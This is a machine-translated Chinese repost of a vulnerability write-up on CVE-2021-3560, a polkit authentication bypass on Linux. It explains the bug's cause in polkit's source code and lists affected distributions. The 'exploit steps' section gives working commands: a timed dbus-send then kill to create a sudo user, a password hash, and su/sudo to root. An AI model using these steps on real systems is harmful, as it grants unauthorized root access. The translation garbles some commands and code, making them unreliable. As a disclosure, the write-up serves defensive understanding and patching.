该漏洞使非特权本地用户能够获得系统的 root shell。只需几个标准命令行工具即可轻松利用该漏洞,正如您在这段简短的视频中所见。在这篇博文中,我将解释该漏洞的工作原理,并向您展示源代码中的错误位置。
-
CVE-2021-3560 的历史和易受攻击的发行版
-
关于 polkit
-
漏洞利用步骤
-
polkit 架构
-
漏洞
-
org.freedesktop.policykit.imply 注释
-
结论
CVE-2021-3560 的历史和易受攻击的发行版
我发现的这个漏洞相当古老。它是七年前在提交bfa5036中引入的,并首次随 polkit 版本 0.113 一起发布。然而,许多最流行的 Linux 发行版直到最近才发布这个易受攻击的版本。
该漏洞在Debian及其衍生版本(例如Ubuntu)上的历史略有不同,因为 Debian 使用的是具有不同版本编号方案的polkit 分支。在 Debian 分支中,该漏洞是在提交f81d021中引入的,并首次随版本 0.105-26 一起发布。Debian 的最新稳定版本Debian 10(“buster”)使用的是版本 0.105-25,这意味着它不易受攻击。但是,一些 Debian 衍生版本(例如 Ubuntu)基于Debian 不稳定版本,因此容易受攻击。
下表列出了一些流行的发行版以及它们是否存在漏洞(请注意,这不是一个完整的列表):
分配 | 易受伤害的? |
---|---|
RHEL 7 | 不 |
RHEL 8 | 是的 |
Fedora 20(或更早版本) | 不 |
Fedora 21(或更高版本) | 是的 |
Debian 10(“buster”) | 不 |
Debian 测试(“靶心”) | 是的 |
Ubuntu 18.04 | 不 |
Ubuntu 20.04 | 是的 |
关于polkit
当您看到如下对话框时,polkit就是在后台运行的系统服务:
它本质上扮演着法官的角色。如果你想做一些需要更高权限的事情——例如,创建一个新的用户帐户——那么 polkit 的工作就是决定你是否被允许这样做。对于某些请求,polkit 会立即决定允许或拒绝,而对于其他请求,它会弹出一个对话框,以便管理员可以通过输入密码来授予授权。
对话框可能会让人觉得 polkit 是一个图形系统,但实际上它是一个后台进程。该对话框称为身份验证代理,它实际上只是一种将密码发送到 polkit 的机制。为了说明 polkit 不仅仅适用于图形会话,请尝试在终端中运行以下命令:
pkexec 重启
pkexec
是与 类似的命令sudo
,它使您能够以 root 身份运行命令。如果您pkexec
在图形会话中运行,它将弹出一个对话框,但如果您在文本模式会话(如 SSH)中运行它,则它会启动自己的文本模式身份验证代理:
$ pkexec 重新启动
==== 正在对 org.freedesktop.policykit.exec 进行身份验证 ===
需要身份验证才能以超级用户身份运行“/usr/sbin/reboot”
验证身份:Kevin Backhouse,,, (kev)
密码:
另一个可用于polkit
从命令行触发的命令是dbus-send
。它是用于发送 D-Bus 消息的通用工具,主要用于测试,但它通常默认安装在使用 D-Bus 的系统上。它可用于模拟图形界面可能发送的 D-Bus 消息。例如,这是创建新用户的命令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1
如果您在图形会话中运行该命令,则会弹出一个身份验证对话框,但如果您在文本模式会话(如SSH )中运行该命令,则会立即失败。这是因为与 不同pkexec
,dbus-send
它不会启动自己的身份验证代理。
漏洞利用步骤
该漏洞极易被利用。只需使用 、 和 等标准工具在终端中输入几个bash
命令kill
即可dbus-send
。
我在本节中描述的概念验证 (PoC) 漏洞依赖于两个正在安装的软件包:accountsservice
和gnome-control-center
。在 Ubuntu Desktop 等图形系统上,这两个软件包通常默认安装。但如果您使用的是非图形 RHEL 服务器之类的东西,则可能需要安装它们,如下所示:
sudo yum 安装 accountsservice gnome-control-center
accountsservice`当然,这个漏洞与或没有任何特别的关系。它们只是 polkit 客户端,恰好是方便利用的载体。PoC 依赖于和 而不依赖于 的`gnome-control-center`原因很微妙——我[稍后](https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/#annotations)会解释。`gnome-control-center``accountsservice
为了避免反复触发身份验证对话框(这可能很烦人),我建议从 SSH 会话运行以下命令:
ssh 本地主机
该漏洞是通过启动dbus-send
命令但在 polkit 仍在处理请求时将其终止来触发的。我喜欢认为理论上可以通过在恰当的时刻按下 Ctrl+C 来触发,但我从未成功过,所以我改用少量 bash 脚本来做到这一点。首先,您需要测量dbus-send
正常运行命令所需的时间:
时间 dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1
输出将会像这样:
错误 org.freedesktop.Accounts.Error.PermissionDenied:需要身份验证
实际 0分0.016秒
用户 0分0.005秒
系统 0 分 0.000 秒
这花了我 16 毫秒,所以这意味着我需要dbus-send
在大约 8 毫秒后终止该命令:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1 & sleep 0.008s ; kill $!
您可能需要运行几次,并且可能需要试验延迟的毫秒数。当漏洞利用成功时,您将看到boris
已创建一个名为的新用户:
$ ID鲍里斯
uid=1002(鲍里斯) gid=1002(鲍里斯) groups=1002(鲍里斯),27(sudo)
请注意,这boris
是该组的成员sudo
,因此您已经可以完全提升权限了。接下来,您需要为新帐户设置密码。D-Bus 接口需要一个散列密码,您可以使用以下命令创建该密码openssl
:
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQULATmWuuB
现在您只需再次执行相同的技巧,但这次调用SetPassword
D-Bus 方法:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword 字符串:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' 字符串:GoldenEye & sleep 0.008s ; kill $!
同样,您可能需要试验延迟的长度并运行几次直到成功。另外,请注意,您需要粘贴正确的用户标识符 (UID),在本例中为“1002”,以及命令中的密码哈希openssl
。
现在你可以以 boris 身份登录并成为 root :
su-boris#密码:iaminvincible!
sudo su # 密码:iaminvincible!
polkit架构
为了帮助解释此漏洞,下面是命令过程中涉及的五个主要过程的图表dbus-send
:
虚线上方的两个进程dbus-send
(以及身份验证代理)是非特权用户进程。虚线下方的进程是特权系统进程。中间的是dbus-daemon
,它处理所有通信:其他四个进程通过发送 D-Bus 消息相互通信。
dbus-daemon
在 polkit 的安全性中扮演着非常重要的角色,因为它使得这四个进程能够安全地通信并检查彼此的凭据。例如,当身份验证代理向 polkit 发送身份验证 cookie 时,它会将其发送到org.freedesktop.PolicyKit1
D-Bus 地址。由于该地址只允许由 root 进程注册,因此不存在非特权进程拦截消息的风险。dbus-daemon
还为每个连接分配一个“唯一的总线名称:”,通常类似于“:1.96”。它有点像进程标识符 (PID),但不容易受到PID 回收攻击。唯一的总线名称当前是从 64 位范围中选择的,因此不存在因名称被重用而导致漏洞的风险。
事件的顺序如下:
-
dbus-send
要求accounts-daemon
创建新用户。 -
accounts-daemon
接收来自 的 D-Bus 消息dbus-send
。该消息包含发送者的唯一总线名称。我们假设它是“:1.96”。此名称附加到 的消息中dbus-daemon
,无法伪造。 -
accounts-daemon
询问 polkit 连接:1.96 是否有权创建新用户。 -
polkit 要求 dbus-daemon
连接的 UID:1.96。 -
如果连接 :1.96 的 UID 为“0”,则 polkit 会立即授权该请求。否则,它会向身份验证代理发送允许授权该请求的管理员用户列表。 -
身份验证代理打开一个对话框来从用户那里获取密码。 -
身份验证代理将密码发送给 polkit。 -
polkit 向 发送“是”的答复 accounts-daemon
。 -
accounts-daemon
创建新的用户帐户。
漏洞
为什么终止dbus-send
命令会导致身份验证绕过?漏洞位于上述事件序列的第四步。如果 polkit 要求dbus-daemon
提供连接 :1.96 的 UID,但连接 :1.96 不再存在,会发生什么情况?dbus-daemon
正确处理这种情况并返回错误。但事实证明,polkit 无法正确处理该错误。事实上,polkit 以一种特别不幸的方式错误处理了错误:它不是拒绝请求,而是将请求视为来自 UID 为 0 的进程。换句话说,它立即授权该请求,因为它认为该请求来自根进程。
为什么漏洞的发生时间是不确定的?事实证明,polkitdbus-daemon
在不同的代码路径上多次请求请求进程的 UID。大多数代码路径都能正确处理错误,但其中有一个不能。如果您提前终止命令dbus-send
,它将由正确的代码路径之一处理,请求将被拒绝。要触发易受攻击的代码路径,您必须在恰当的时刻断开连接。而且由于涉及多个进程,因此每次运行的“恰当时刻”的时间都不同。这就是为什么漏洞通常需要几次尝试才能成功。我猜这也是之前没有发现这个漏洞的原因。如果您可以通过立即终止命令来触发漏洞dbus-send
,那么我预计它早就被发现了,因为这是一个更明显的测试对象。
dbus-daemon
询问请求连接的 UID 的函数名为polkit_system_bus_name_get_creds_sync
:
静态 gboolean
polkit_system_bus_name_get_creds_sync (
PolkitSystemBusName *系统总线名称,
guint32 *输出uid,
guint32 *输出PID,
GCancellable *可取消,
GError **错误)
的行为polkit_system_bus_name_get_creds_sync
很奇怪,因为当发生错误时,函数会设置错误参数但仍然返回。当我编写错误报告TRUE
时,我并不清楚这是一个错误还是故意的设计选择。(事实证明这是一个错误,因为 polkit 开发人员已经通过返回错误来修复该漏洞。)我的不确定性源于这样一个事实:几乎所有的调用者不仅检查布尔结果,而且还在继续之前检查错误值是否仍然存在。漏洞的原因是未在以下堆栈跟踪中检查错误值:FALSE``polkit_system_bus_name_get_creds_sync``NULL
0 在polkitsystembusname.c:388的 polkit_system_bus_name_get_creds_sync
中 1 在polkitsystembusname.c:511的 polkit_system_bus_name_get_user_sync 中
2 在polkitbackendsessionmonitor-systemd.c:303 的polkit_backend_session_monitor_get_user_for_subject 中 3 在polkitbackendinteractiveauthority.c:1121
的 check_authorization_sync中 4 在polkitbackendinteractiveauthority.c:1227 的
check_authorization_sync
中 5 在polkitbackendinteractiveauthority.c:981 的
polkit_backend_authority_check_authorization 中 6 在polkitbackendauthority.c:227 的
server_handle_check_authorization 中polkitbackendauthority.c:790
7 在polkitbackendauthority.c:1272的 server_handle_method_call 中
该错误位于以下代码片段中check_authorization_sync
:
/*每个主题都有一个用户;这是由客户端提供的,所以我们依赖
* 对调用者进行验证,以验证其可接受性。*/
用户主体 = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
主题,NULL,
错误);
如果 (user_of_subject == NULL)
出去;
/* 特殊情况:uid 0,root,始终被授权执行任何操作 */
如果 (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
{
结果 = polkit_authorization_result_new (TRUE,FALSE,NULL);
出去;
}
请注意,的值error
未经检查。
org.freedesktop.policykit.imply
注释
gnome-control-center
我之前提到过,除了 之外,我的 PoC 还依赖于安装accountsservice
。这是为什么呢?PoC 没有gnome-control-center
任何可见的使用方式,而且我在编写 PoC 时甚至没有意识到我依赖于它!事实上,我之所以发现这一点,是因为 Red Hat 安全团队无法在 RHEL 上重现我的 PoC。当我在 RHEL 8.4 VM 上亲自尝试时,我也发现 PoC 不起作用。这很令人费解,因为它在 Fedora 32 和 CentOS Stream 上运行良好。事实证明,关键的区别在于我的 RHEL VM 是一个非图形服务器,没有安装 GNOME。那么这有什么关系呢?答案是policykit.imply
注释。
一些 polkit 操作本质上是等价的,因此如果其中一个操作已经获得授权,则默默授权另一个操作是有意义的。GNOME 设置对话框就是一个很好的例子:
单击“解锁”按钮并输入密码后,您可以执行添加新用户帐户等操作,而无需再次进行身份验证。 这是由注释处理的,该注释在此配置文件policykit.imply
中定义:
/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy
该配置文件包含以下含义:
换句话说,如果您被授权执行controlcenter
管理操作,那么您也被授权执行accountsservice
管理操作。
当我将GDB连接到 RHEL VM 上的 polkit 时,我发现我没有看到之前列出的易受攻击的堆栈跟踪。请注意,堆栈跟踪的第四步是从check_authorization_sync
自身进行的递归调用。这发生在第 1227 行,这是 polkit 检查policykit.imply
注释的地方:
PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;
imply_action_id = polkit_action_description_get_action_id (imply_ad);
/* g_debug ("%s 由 %s 暗示,正在检查", action_id, imply_action_id); */
implied_result = check_authorization_sync (授权机构,调用者,主题,
暗示动作ID,
详细信息、旗帜、
隐式授权,真实,
&隐含错误);
如果(implied_result != NULL)
{
如果(polkit_authorization_result_get_is_authorized(implied_result))
{
g_debug (" 已授权 ( %s 暗示)", imply_action_id);
结果 = 隐含结果;
/* 清理 */
g_strfreev(标记);
出去;
}
g_object_unref(隐含的结果);
}
如果(隐含错误!= NULL)
g_error_free(隐含错误);
身份验证绕过取决于忽略错误值。它在第 1121 行被忽略,但它仍存储在参数中error
,因此调用者也需要忽略它。上面的代码块有一个名为的临时变量implied_error
,当它不为空时会被忽略implied_result
。这是使绕过成为可能的关键步骤。
总而言之,身份验证绕过仅适用于由另一个 polkit 操作暗示的 polkit 操作。这就是为什么我的 PoC 仅在control-center
安装了 gnome- 时才有效:它添加了policykit.imply
注释,使我能够定位accountsservice
。但这并不意味着 RHEL 不会受到此漏洞的影响。该漏洞的另一个攻击媒介是packagekit
,它默认安装在 RHEL 上,并具有适合policykit.imply
该操作的注释package-install
。packagekit
用于安装软件包,因此可以利用它来安装gnome-control-center
,之后其余的漏洞利用将像以前一样工作。
结论
CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。该漏洞利用起来非常简单快捷,因此尽快更新 Linux 安装非常重要。任何安装了 polkit 版本 0.113(或更高版本)的系统都容易受到攻击。其中包括 RHEL 8 和 Ubuntu 20.04 等流行发行版。
原文始发于微信公众号(红云谈安全):使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论